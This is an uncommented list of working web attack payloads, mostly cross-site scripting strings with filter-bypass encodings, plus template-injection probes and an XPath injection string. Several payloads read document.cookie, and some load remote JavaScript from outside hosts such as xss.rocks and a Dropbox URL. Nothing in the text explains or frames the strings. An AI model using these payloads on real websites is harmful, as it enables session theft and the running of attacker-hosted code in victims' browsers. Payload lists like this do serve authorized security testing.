TEST

"-[8].find(confirm)-"

"-alert(document.domain)-"

'"><s>n0nce<img/src=x onerror=alert(document.domain)>

"//><<img src=x onerror=alert(7)></a>//

"><img src=x onerror=prompt(document.domain)>

"><img src=1 onerror=alert(1)>mmmc{{7*7}}{{'7'*7}}${'7'*7}

"><svg/onload=prompt(3)>

1"><img src=x onerror=prompt(document.domain)>":"test"}

"><img src=x onerror=alert(1)>

ahmet<details/open/ontoggle=alert(document.location)>

'"><svg/onload=prompt(5);>{{7*7}}

%0A<a'><x+'="><script>alert(1)</script>

">%0A<x+'="foo"><x+foo='><img+src=x+onerror=alert(1)>

test"><details/open/ontoggle=prompt(document.cookie)>

-[8].find(confirm)-

%27-%5Bdocument.domain%5D.find(confirm)-%27

“test”);print();a(“

<Svg%K9OnLoad=%7Krompt%6K1%6K>

22autofocus/onfocus%0A=%0A%22[2].find(confirm)

"<SCRIPT>alert(3);</SCRIPT>

"<SCRIPT>alert(document.cookie);</SCRIPT>

"ononmouseovermouseover=javascript:window.ononerrorerror=alert;throw[1] c="

"><img src=x onerror=alert(1)>"

"><svg/onload=prompt(3)>

<sCriPt>aLeRt(6)</sCriPt>

'"><svg/onload=prompt(5);>{{7*7}}

"><img src=x onerror=alert(1)> ->

ax6zt%2522%253e%253cscript%253ealert%2528document.domain%2529%253c%252fscript%253ey6uu6 ->

#<img src=x onerror=alert(5)>

</script><script>&#0000097lert('l33t')

"><iMg SrC=oNeRROr='alert('l33t');'>

"><iMg SrC=oNeRROr='prompt(3);'>

%22%3E%3CiMg%20SrC%3DoNeRROr%3D%27prompt(3)%3B%27%3E

"onmouseover="confirm(document.domain)"

"><svg/onload=prompt(7)>

"><img src=xss onerror=prompt(1)>

<sc<script>ript>alert(1)</sc</script>ript>

xxx', x : window.location.assign("https://www.google.com/+document.domain"),//

-alert(1)-

"-prompt(1)-"

"><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script>

"><svg onload=prompt(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))>

http://www.<script>alert(1)</script .com

%00%00%00%00%00%00%00<script%20src=http://xss.rocks/xss.js></script>

'}) %26%2359a=confirm%26%2359a(document.domain)%26%2359b({asd:'

%0A</script><script>alert(/xss/)//

{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(2),a')}}

hacker' or 1=1 ]/parent::node()/name%00

<ScRipT>alert("XSS");</ScRipT>

“><script>alert(“XSS”)</script>

</script><script>alert(1)</script>

‘; alert(1);

‘)alert(1);//

<ScRiPt>alert(1)</sCriPt>

<input/onmouseover="javaSCRIPT&colon;confirm(1)"

<sVg><scRipt %00>alert(1) {Opera}

<img/src=`%00` onerror=this.onerror=confirm(1)

<form><isindex formaction="javascript&colon;confirm(1)"

<img src=`%00`&NewLine; onerror=alert(1)&NewLine;

<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?

"><h1/onmouseover='\u0061lert(1)'>%00

<form><a href="javascript:\u0061lert(1)">X

</script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'>

<a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="	
>X</a

http://www.google<script .com>alert(document.location)</script

<a href=[]" onmouseover=prompt(1)//">XYZ</a

<img/src=@  onerror = prompt('1')

</style  ><script   :-(>/**/alert(document.location)/**/</script   :-(

</form><input type="date" onfocus="alert(1)">

<///style///><span %2F onmousemove='alert(1)'>SPAN

<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)

"><svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'

<blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera}

<marquee onstart='javascript:alert(1)'>^__^

<div/style="width:expression(confirm(1))">X</div> {IE7}

//<form/action=javascript:alert(document&period;cookie)><input/type='submit'>//

/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>

//|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\

</font>/<svg><style>{src:'<style/onload=this.onload=confirm(1)>'</font>/</style>

</plaintext\></|\><plaintext/onmouseover=prompt(1)

</svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert(1) {Opera}

<var onmouseover="prompt(1)">On Mouse Over</var>

<a href=javascript&colon;alert(document&period;cookie)>Click Here</a>

<%

<input value=<><iframe/src=javascript:confirm(1)

http://www.<script>alert(1)</script .com

<math><a xlink:href="//jsfiddle.net/t846h/">click

<a href="data:text/html;base64_,<svg/onload=\u0061l&#101%72t(1)>">X</a

<body/onload=<!-->&#10alert(1)>

<img src ?itworksonchrome?\/onerror = alert(1)

<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe

<div/onmouseover='alert(1)'> style="x:">

<--`<img/src=` onerror=alert(1)> --!>

"><img src=x onerror=window.open('https://www.google.com/');>

<form><button formaction=javascript&colon;alert(1)>CLICKME

<math><a xlink:href="//jsfiddle.net/t846h/">click

<a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>

<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>

‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

<IMG “””><SCRIPT>alert(“XSS”)</SCRIPT>”>

<<SCRIPT>alert(“XSS”);//<</SCRIPT>

%253cscript%253ealert(1)%253c/script%253e

“><s”%2b”cript>alert(document.cookie)</script>

Ahmet Cobalt

Ahmet Cobalt

Ahmet Cobalt